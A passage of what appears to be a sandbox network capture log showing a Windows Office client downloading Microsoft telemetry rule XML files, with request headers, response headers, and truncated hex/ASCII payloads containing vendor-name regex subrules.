2025-04-02 06:39:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:19 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 905bb141-501e-0064-0d99-a31f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063919Z-17cccd5449bgvc9thC1EWR7dt000000014xg00000000b9hq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:19 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.17	49792	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:19 UTC	199	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: fb7bad82-801e-007b-1b99-a3e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063919Z-17cccd5449bq6f54hC1EWRb85w00000014y0000000009pb1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.17	49793	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:19 UTC	199	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 9606efb8-401e-0015-24cc-a20e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063920Z-17cccd5449bkk7bshC1EWR4rww00000014xg00000000akcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-04-02 06:39:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.17	49794	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:20 UTC	199	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:20 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:20 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: fd10dbb2-901e-008f-2f99-a367a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063920Z-17cccd5449bfs6jfhC1EWR678800000014zg0000000065bs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:20 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.17	49795	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:20 UTC	199	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:20 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:20 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 97f4bde0-401e-0029-5a99-a39b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063920Z-17cccd5449blprb2hC1EWRvwmn00000014zg000000005gcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:20 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.17	49796	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:20 UTC	199	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:20 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 3198e3a8-001e-0046-0299-a3da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063920Z-17cccd5449bzw64jhC1EWRz23400000014v000000000h4ud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.17	49797	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:20 UTC	199	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:20 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:20 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 40a590ff-501e-005b-2499-a3d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063920Z-17cccd5449bhkn97hC1EWRp7ew000000151g000000000h2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:20 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.17	49798	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:20 UTC	199	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:20 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 454eafe0-e01e-0071-7e99-a308e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063920Z-17cccd5449bgvc9thC1EWR7dt000000014w000000000gfa9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:20 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.17	49799	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:20 UTC	199	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:20 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f532ab7d-a01e-003d-5899-a398d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063920Z-17cccd5449b4wvd9hC1EWRkczn00000014z0000000006n6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.17	49800	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:20 UTC	199	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:20 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 636ff77c-f01e-0099-6f99-a39171000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063920Z-17cccd5449bqvwqkhC1EWR1rfs00000015100000000025ma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.17	49801	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:20 UTC	199	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:20 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: e0f74342-601e-0050-7399-a32c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063920Z-17cccd5449bqnwr7hC1EWRa66000000014u000000000mk7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.17	49802	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:20 UTC	199	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:21 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: b68f0305-b01e-003e-1f99-a38e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063920Z-17cccd5449bzd7mthC1EWRrdxw00000014yg0000000081rw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.17	49803	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
